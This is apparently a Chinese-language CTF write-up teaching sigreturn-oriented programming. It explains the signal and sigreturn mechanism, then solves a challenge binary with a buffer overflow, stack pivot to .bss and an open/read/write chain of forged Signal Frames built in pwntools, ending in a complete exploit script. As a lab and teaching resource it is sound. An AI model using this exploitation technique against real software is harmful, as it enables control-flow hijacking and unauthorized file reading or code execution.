SROP

高级ROP之SROP

一、知识储备

1. signal 机制

这里基础知识就搬运ctfwiki上的了。

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
image
基本步骤如下:

  1. 内核向某个进程发送signal信号,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。 此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。 之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
    image
  3. signal handler 返回后,**内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。**其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

简单来说就是:先保存各个寄存器中的值(Signal Frame),然后挂起用户进程,然后执行信号处理函数,处理完之后恢复栈和各个寄存器让后继续执行用户进程。

2.漏洞利用

可以注意到:Signal Frame是保存在用户空间上的,对用户来说是可读可写的,而且内核与信号处理程序没有直接关联 ,它并不会去记录每个 signal 所对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。也就是说,我们可以通过伪造 Signal Frame来控制各个寄存器的值以此来达到攻击的目的。
比如说:

1
2
3
4
5
rax = 0x3B(execve)
rdi='/bin/sh\00'
rsi=0x0
rdx=0x0
rip=syscall

这样就可以成功getshell。

Signal Frame看起来十分庞大,但是使用pwntools可以快捷构造我们所需要的Signal Frame

二、例题分析

附件放在文末

拿到题还是先检查一下保护信息,然后运行一下看看。
image
ida分析
main()
image
rt_sigreturn()
image
禁用了execve和execveat这两个系统调用,意味着我们很难getshell,所以使用ORW的方式来读取flag。这道题还有现成的sigreturn。
要实现ORW,我们就要构造SROP链。我们先通过一个sigreturn把栈迁移到已知段,这个段要足够长,足以放下Signal Frame,所以.bss段就是一个很好的选择。
首先我们做一些准备工作,通过ida静态调试,我们拿到了 sigreturn 的地址:sigreturn_sddr = 0x401296、syscall_ret的地址syscall_addr = 0x40129D和bss段的起始地址:0x404060,为了防止我们的操作更改了bss段比较重要的一些进程的数据,我们给这个地址加上一段偏移再使用:bss_addr = 0x404060 + 0x300
然后我们执行栈迁移和第二次read操作,通过IDA的数据可知,我们们需要填充0x28个字节的垃圾数据,所以payload1如下:

1
2
3
4
5
6
7
8
9
10
11
frame1 = SigreturnFrame()
frame1.rip = syscall_addr
frame1.rbp = bss_addr + 0x8
frame1.rsp = bss_addr + 0x8
frame1.rax = constants.SYS_read
frame1.rdi = 0
frame1.rsi = bss_addr
frame1.rdx = 0x400

payload1 = b'A'*padding + p64(sigreturn_sddr) + (bytes(frame1))
p.sendline(payload1)

部分解释:bss_addr + 0x8是因为后面我们需要传入‘flag\x00\x00\x00\x00’
下一步我们要进行orw操作
先构造open部分:

1
2
3
4
5
6
7
8
9
10
frame2 = SigreturnFrame()
frame2.rip = syscall_addr
frame2.rbp = bss_addr + 0x8 + 0x100
frame2.rsp = bss_addr + 0x8 + 0x100
frame2.rax = constants.SYS_open
frame2.rdi = bss_addr
frame2.rsi = 0x0
frame2.rdx = 0x0
payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

然后是read部分:

1
2
3
4
5
6
7
8
9
frame3 = SigreturnFrame()
frame3.rip = syscall_addr
frame3.rbp = bss_addr + 0x8 + 0x208
frame3.rsp = bss_addr + 0x8 + 0x200
frame3.rax = constants.SYS_read
frame3.rdi = 0x3
frame3.rsi = bss_addr
frame3.rdx = 0x30
payload3 = p64(sigreturn_sddr) + (bytes(frame3))

最后是write部分:

1
2
3
4
5
6
7
frame4 = SigreturnFrame()
frame4.rip = syscall_addr
frame4.rax = constants.SYS_write
frame4.rdi = 0x1
frame4.rsi = bss_addr
frame4.rdx = 0x30
payload4 = p64(sigreturn_sddr) + (bytes(frame4))

所以总的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
frame2 = SigreturnFrame()
frame2.rip = syscall_addr
frame2.rbp = bss_addr + 0x8 + 0x100
frame2.rsp = bss_addr + 0x8 + 0x100
frame2.rax = constants.SYS_open
frame2.rdi = bss_addr
frame2.rsi = 0x0
frame2.rdx = 0x0
payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

frame3 = SigreturnFrame()
frame3.rip = syscall_addr
frame3.rbp = bss_addr + 0x8 + 0x208
frame3.rsp = bss_addr + 0x8 + 0x200
frame3.rax = constants.SYS_read
frame3.rdi = 0x3
frame3.rsi = bss_addr
frame3.rdx = 0x30
payload3 = p64(sigreturn_sddr) + (bytes(frame3))

frame4 = SigreturnFrame()
frame4.rip = syscall_addr
frame4.rax = constants.SYS_write
frame4.rdi = 0x1
frame4.rsi = bss_addr
frame4.rdx = 0x30
payload4 = p64(sigreturn_sddr) + (bytes(frame4))

pause()
p.send(payload2 + payload3 + payload4)

所以总的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
if __name__ == "__main__":
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./srop')
p = process('./srop')

padding = 0x28

bss_addr = 0x404060 + 0x300
sigreturn_sddr = 0x401296
syscall_addr = 0x40129D

frame1 = SigreturnFrame()
frame1.rip = syscall_addr
frame1.rbp = bss_addr + 0x8
frame1.rsp = bss_addr + 0x8
frame1.rax = constants.SYS_read
frame1.rdi = 0
frame1.rsi = bss_addr
frame1.rdx = 0x400

payload1 = b'A'*padding + p64(sigreturn_sddr) + (bytes(frame1))
p.sendline(payload1)

frame2 = SigreturnFrame()
frame2.rip = syscall_addr
frame2.rbp = bss_addr + 0x8 + 0x100
frame2.rsp = bss_addr + 0x8 + 0x100
frame2.rax = constants.SYS_open
frame2.rdi = bss_addr
frame2.rsi = 0x0
frame2.rdx = 0x0
payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

frame3 = SigreturnFrame()
frame3.rip = syscall_addr
frame3.rbp = bss_addr + 0x8 + 0x208
frame3.rsp = bss_addr + 0x8 + 0x200
frame3.rax = constants.SYS_read
frame3.rdi = 0x3
frame3.rsi = bss_addr
frame3.rdx = 0x30
payload3 = p64(sigreturn_sddr) + (bytes(frame3))

frame4 = SigreturnFrame()
frame4.rip = syscall_addr
frame4.rax = constants.SYS_write
frame4.rdi = 0x1
frame4.rsi = bss_addr
frame4.rdx = 0x30
payload4 = p64(sigreturn_sddr) + (bytes(frame4))

pause()
p.send(payload2 + payload3 + payload4)

p.interactive()

附件